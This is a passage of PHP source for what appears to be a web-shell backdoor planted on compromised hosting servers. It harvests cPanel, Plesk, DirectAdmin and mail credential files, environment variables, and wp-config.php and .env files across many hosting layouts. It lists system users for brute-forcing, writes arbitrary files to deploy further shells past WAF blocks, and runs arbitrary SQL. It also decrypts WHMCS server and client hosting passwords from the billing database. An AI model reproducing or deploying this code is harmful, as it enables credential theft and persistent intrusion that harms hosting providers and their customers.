'/var/cpanel/root.passwd',
'/root/.accesshash',
'/etc/psa/psa.conf',
'/opt/psa/admin/conf/panel.ini',
'/usr/local/directadmin/conf/directadmin.conf',
'/usr/local/directadmin/conf/mysql.conf',
'/usr/local/hestia/conf/mysql.conf',
'/usr/local/vesta/conf/mysql.conf',
'/etc/userdomains',
'/etc/trueuserdomains',
'/proc/self/environ',
'/proc/1/environ',
'/etc/mail/authinfo',
'/etc/mail/access',
];
foreach ($targets as $p) {
$c = @file_get_contents($p);
if ($c !== false && strlen($c) > 3) $out['files'][$p] = $c;
}
// wp-config.php — glob across common webroot patterns (depth 1-2)
$dr = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
$wpcfg_globs = array_filter([
// DOCUMENT_ROOT is always within open_basedir — check directly first
$dr ? $dr . '/wp-config.php' : null,
$dr ? dirname($dr) . '/wp-config.php': null,
'/var/www/*/wp-config.php',
'/var/www/*/*/wp-config.php',
'/var/www/html/*/wp-config.php',
'/home/*/public_html/wp-config.php',
'/home/*/www/wp-config.php',
'/home/*/public_html/*/wp-config.php',
'/srv/*/wp-config.php',
'/srv/www/*/wp-config.php',
'/opt/*/wp-config.php',
'/www/wwwroot/*/wp-config.php',
'/data/wwwroot/*/wp-config.php',
'/volume*/web/*/wp-config.php',
// Wedos.net / Forpsi / Czech hosters
'/data/web/virtuals/*/virtual/www/domains/*/wp-config.php',
'/data/web/virtuals/*/virtual/www/wp-config.php',
// Hetzner / OVH / Infomaniak shared
'/var/customers/webs/*/wp-config.php',
'/var/customers/webs/*/*/wp-config.php',
// Plesk default webroot
'/var/www/vhosts/*/httpdocs/wp-config.php',
'/var/www/vhosts/*/*/wp-config.php',
// RunCloud / GridPane / Spinupwp VPS layout
'/home/runcloud/webapps/*/wp-config.php',
'/var/www/*/public/wp-config.php',
// Use __DIR__ to always catch the current install
dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-config.php',
dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/wp-config.php',
]);
foreach ($wpcfg_globs as $pat) {
foreach ((array)@glob($pat) as $f) {
if (isset($out['wpconfigs'][$f])) continue;
$c = @file_get_contents($f);
if ($c !== false && strlen($c) > 100) $out['wpconfigs'][$f] = $c;
}
}
// .env files — same common paths
$env_globs = [
'/opt/*/.env',
'/opt/*/*/.env',
'/var/www/*/.env',
'/var/www/*/*/.env',
'/home/*/.env',
'/home/*/public_html/.env',
'/home/*/public_html/*/.env',
'/srv/*/.env',
'/srv/www/*/.env',
'/root/.env',
];
foreach ($env_globs as $pat) {
foreach ((array)@glob($pat) as $f) {
if (isset($out['envfiles'][$f])) continue;
$c = @file_get_contents($f);
if ($c !== false && strlen($c) > 10) $out['envfiles'][$f] = $c;
}
}
echo json_encode($out);
}
// ── action: sysinfo ───────────────────────────────────────────────────────────
// Pure-PHP system fingerprint — no exec needed. Replaces most exec_cmd calls in
// fingerprint() so WAF rate-limiting of ?c= requests doesn't kill early data.
function sysinfo_handler(): void {
$out = [];
// PHP + server identity
$out['php_version'] = PHP_VERSION;
$out['sapi'] = PHP_SAPI;
$out['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? '';
$out['hostname'] = @gethostname() ?: '';
$out['doc_root'] = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
$out['script_filename'] = $_SERVER['SCRIPT_FILENAME'] ?? '';
$out['self_dir'] = __DIR__;
$out['php_ini'] = @php_ini_loaded_file() ?: '';
$out['disable_functions'] = @ini_get('disable_functions') ?: '';
$out['open_basedir'] = @ini_get('open_basedir') ?: '';
// Full /proc/self/environ — same as exec_cmd "cat /proc/self/environ | tr '\0' '\n'"
$env_raw = @file_get_contents('/proc/self/environ');
if ($env_raw !== false && strlen($env_raw) > 10) {
$out['proc_environ'] = str_replace("\0", "\n", $env_raw);
// GhostLock detection
if (strpos($env_raw, 'ghostlock_php_shield') !== false) {
$out['ghostlock'] = true;
}
// Extract key env vars inline
foreach (explode("\0", $env_raw) as $kv) {
$p = explode('=', $kv, 2);
if (count($p) === 2 && in_array($p[0], [
'DOCUMENT_ROOT','HTTP_HOST','SERVER_NAME','SCRIPT_FILENAME',
'PWD','LD_PRELOAD','HOME','USER','PATH',
])) $out['env'][$p[0]] = $p[1];
}
// Supplement DOCUMENT_ROOT from env if missing from _SERVER
if (!$out['doc_root'] && isset($out['env']['DOCUMENT_ROOT'])) {
$out['doc_root'] = rtrim($out['env']['DOCUMENT_ROOT'], '/');
}
}
// /etc/passwd — system users for cPanel brute
$passwd = @file_get_contents('/etc/passwd');
if ($passwd !== false && strlen($passwd) > 20) {
$out['etc_passwd'] = $passwd;
$users = [];
foreach (explode("\n", $passwd) as $line) {
$p = explode(':', $line);
if (count($p) < 7) continue;
$uid = (int)$p[2];
if ($uid >= 500 && (
strpos($p[5], '/home') === 0 ||
strpos($p[5], '/var/cpanel') === 0 ||
strpos($p[5], '/usr/local/cpanel') === 0
)) {
$users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
}
}
$out['system_users'] = $users;
}
// Open ports from /proc/net/tcp + tcp6 (no exec needed)
$ports = [];
foreach (['/proc/net/tcp', '/proc/net/tcp6'] as $tcpf) {
$lines = @file($tcpf, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!$lines) continue;
foreach (array_slice($lines, 1) as $line) {
$cols = preg_split('/\s+/', trim($line));
if (!isset($cols[1])) continue;
$parts = explode(':', $cols[1]);
if (count($parts) < 2) continue;
$port = hexdec($parts[1]);
$state = $cols[3] ?? '';
if ($state === '0A' && $port > 0) $ports[] = $port;
}
}
$out['open_ports'] = array_values(array_unique($ports));
// Panel detection from filesystem (no exec needed)
$panel = '';
if (@file_exists('/usr/local/cpanel/version')) $panel = 'cpanel';
elseif (@file_exists('/usr/local/directadmin/directadmin')) $panel = 'directadmin';
elseif (@file_exists('/usr/local/mgr5/etc/ispmgr.conf')) $panel = 'ispmgr';
elseif (@file_exists('/usr/local/vesta/bin/v-list-users')) $panel = 'vesta';
elseif (@file_exists('/usr/local/hestia/bin/v-list-users')) $panel = 'hestia';
elseif (@file_exists('/etc/psa/.psa.shadow') || @file_exists('/usr/local/psa/version')) $panel = 'plesk';
if ($panel) $out['panel_type'] = $panel;
// cPanel user config for the current user
$home = $out['env']['HOME'] ?? '';
$cp_user = $home ? basename($home) : '';
if ($cp_user) {
$cpu = @file_get_contents("/var/cpanel/users/{$cp_user}");
if ($cpu !== false && strlen($cpu) > 10) {
$out['cpanel_user_config'] = $cpu;
if (preg_match('/CONTACTEMAIL=(\S+)/', $cpu, $m)) {
$out['cpanel_contact_email'] = $m[1];
}
}
}
// /usr/local/cpanel/etc/passwd
$cpp = @file_get_contents('/usr/local/cpanel/etc/passwd');
if ($cpp !== false && strlen($cpp) > 10) $out['cpanel_etc_passwd'] = $cpp;
// /etc/userdomains + /etc/localdomains
$ud = @file_get_contents('/etc/userdomains');
if ($ud !== false && strlen($ud) > 5) $out['userdomains'] = $ud;
$ld = @file_get_contents('/etc/localdomains');
if ($ld !== false && strlen($ld) > 5) $out['localdomains'] = $ld;
echo json_encode($out);
}
// ── action: write ─────────────────────────────────────────────────────────────
// Write base64-decoded content to a path. Used as shell-deploy fallback when
// all WP admin upload vectors are WAF-blocked but sidekick is alive.
function write_handler(): void {
$path = trim($_POST['path'] ?? '');
$data = $_POST['data'] ?? '';
if (!$path || !$data) {
echo json_encode(['ok' => false, 'err' => 'missing path or data']);
return;
}
$decoded = @base64_decode($data, true);
if ($decoded === false) {
echo json_encode(['ok' => false, 'err' => 'base64 decode failed']);
return;
}
$dir = dirname($path);
if (!@is_dir($dir)) @mkdir($dir, 0755, true);
$bytes = @file_put_contents($path, $decoded);
echo json_encode(['ok' => $bytes !== false, 'bytes' => $bytes]);
}
// ── action=mysql — run a SQL query via PHP mysqli (no exec needed) ─────────────
function mysql_handler(): void {
$hosts = array_filter([
trim($_POST['host'] ?? ''),
'localhost',
'127.0.0.1',
]);
$user = $_POST['user'] ?? '';
$pass = $_POST['pass'] ?? '';
$db = $_POST['db'] ?? '';
$query = $_POST['query'] ?? '';
if (!$query) { echo json_encode(['ok'=>false,'error'=>'no query']); return; }
if (!function_exists('mysqli_connect')) {
echo json_encode(['ok'=>false,'error'=>'mysqli not available']); return;
}
$tried = [];
foreach (array_unique(array_values($hosts)) as $h) {
$c = @mysqli_connect($h, $user, $pass, $db ?: null);
if (!$c) {
$tried[] = $h . ': ' . @mysqli_connect_error();
continue;
}
$res = @mysqli_query($c, $query);
if ($res === false) {
$err = @mysqli_error($c);
@mysqli_close($c);
echo json_encode(['ok'=>false,'host'=>$h,'error'=>$err]);
return;
}
$rows = [];
if ($res === true) {
echo json_encode(['ok'=>true,'host'=>$h,'affected'=>@mysqli_affected_rows($c),'rows'=>[]]);
} else {
while ($row = @mysqli_fetch_assoc($res)) $rows[] = $row;
echo json_encode(['ok'=>true,'host'=>$h,'rows'=>$rows]);
}
@mysqli_close($c);
return;
}
echo json_encode(['ok'=>false,'error'=>'all hosts failed','tried'=>$tried]);
}
// ── action: whmcs ─────────────────────────────────────────────────────────────
// F.py whmcs_ex equivalent. Finds WHMCS configuration.php, reads DB creds,
// queries tblservers (hosting server records) and tblhosting (client accounts).
function whmcs_find_configs(): array {
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
$self_dir = dirname(__FILE__);
$search_roots = array_unique(array_filter([$doc_root, dirname($doc_root), $self_dir, dirname($self_dir)]));
$candidate_names = ['configuration.php'];
$candidate_dirs = ['', 'whmcs', 'billing', 'clients', 'WHMCS', 'panel', 'host', 'hostbill', 'blesta', 'whmcs2'];
$found = [];
foreach ($search_roots as $root) {
if (!$root || !is_dir($root)) continue;
foreach ($candidate_dirs as $sub) {
$path = $sub ? "$root/$sub/configuration.php" : "$root/configuration.php";
if (@is_readable($path)) {
$preview = @file_get_contents($path, false, null, 0, 512);
if ($preview && strpos($preview, 'db_username') !== false) {
$found[] = $path;
}
}
}
// Also glob one level deep
foreach (@glob("$root/*/configuration.php") ?: [] as $p) {
if (@is_readable($p)) {
$preview = @file_get_contents($p, false, null, 0, 512);
if ($preview && strpos($preview, 'db_username') !== false)
$found[] = $p;
}
}
}
return array_unique($found);
}
function whmcs_parse_config(string $content): array {
$out = [];
foreach (['db_host','db_username','db_password','db_name','cc_encryption_hash'] as $key) {
if (preg_match('/\$' . $key . '\s*=\s*["\']([^"\']*)["\']/', $content, $m))
$out[$key] = $m[1];
}
return $out;
}
function whmcs_decrypt(string $val, string $key): string {
if (!$val || !$key) return $val;
// WHMCS v7+ uses AES-256-CBC with SHA256(key) as encryption key and MD5(key) as IV
$enc_key = hash('sha256', $key, true);
$iv = substr(hash('md5', $key, true), 0, 16);
$decoded = @base64_decode($val);
if ($decoded === false || strlen($decoded) < 16) return $val;
$plain = @openssl_decrypt($decoded, 'AES-256-CBC', $enc_key, OPENSSL_RAW_DATA, $iv);
if ($plain !== false && strlen($plain) > 0 && mb_check_encoding($plain, 'UTF-8')) return $plain;
return $val;
}
function whmcs_handler(): void {
if (!function_exists('mysqli_connect')) {
echo json_encode(['error' => 'mysqli_unavailable']); return;
}
$configs = whmcs_find_configs();
if (empty($configs)) {
echo json_encode(['error' => 'no_whmcs_found', 'servers' => [], 'accounts' => []]); return;
}
$results = [];
foreach ($configs as $cfg_path) {
$content = @file_get_contents($cfg_path);
if (!$content) continue;
$cfg = whmcs_parse_config($content);
if (empty($cfg['db_username'])) continue;
$enc_key = $cfg['cc_encryption_hash'] ?? '';
$db_host = $cfg['db_host'] ?? 'localhost';
$db_user = $cfg['db_username'] ?? '';
$db_pass = $cfg['db_password'] ?? '';
$db_name = $cfg['db_name'] ?? 'whmcs';
$conn = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
$results[] = ['config' => $cfg_path, 'error' => 'db_connect_failed',
'db_user' => $db_user, 'db_pass' => $db_pass];
continue;
}
// tblservers: hosting control panel server records
$servers = [];
$res = @mysqli_query($conn,
"SELECT `type`,`active`,`hostname`,`ipaddress`,`username`,`password`,`accesshash`
FROM `tblservers` LIMIT 200");
if ($res) {
while ($row = @mysqli_fetch_assoc($res)) {
$row['password'] = whmcs_decrypt($row['password'] ?? '', $enc_key);
$row['accesshash'] = whmcs_decrypt($row['accesshash'] ?? '', $enc_key);
$servers[] = $row;
}
}
// tblhosting: client hosting accounts
$accounts = [];
$res2 = @mysqli_query($conn,
"SELECT h.`domain`,h.`dedicatedip`,h.`username`,h.`password`,
h.`domainstatus`,h.`userid`,h.`server`
FROM `tblhosting` h LIMIT 500");
if ($res2) {
while ($row = @mysqli_fetch_assoc($res2)) {
$row['password'] = whmcs_decrypt($row['password'] ?? '', $enc_key);
$accounts[] = $row;
}
}
@mysqli_close($conn);
$results[] = [
'config' => $cfg_path,
'db_host' => $db_host,
'db_user' => $db_user,
'db_pass' => $db_pass,
'servers' => $servers,
'accounts' => $accounts,
];
}
echo json_encode(['ok' => true, 'configs_found' => count($configs), 'results' => $results]);
}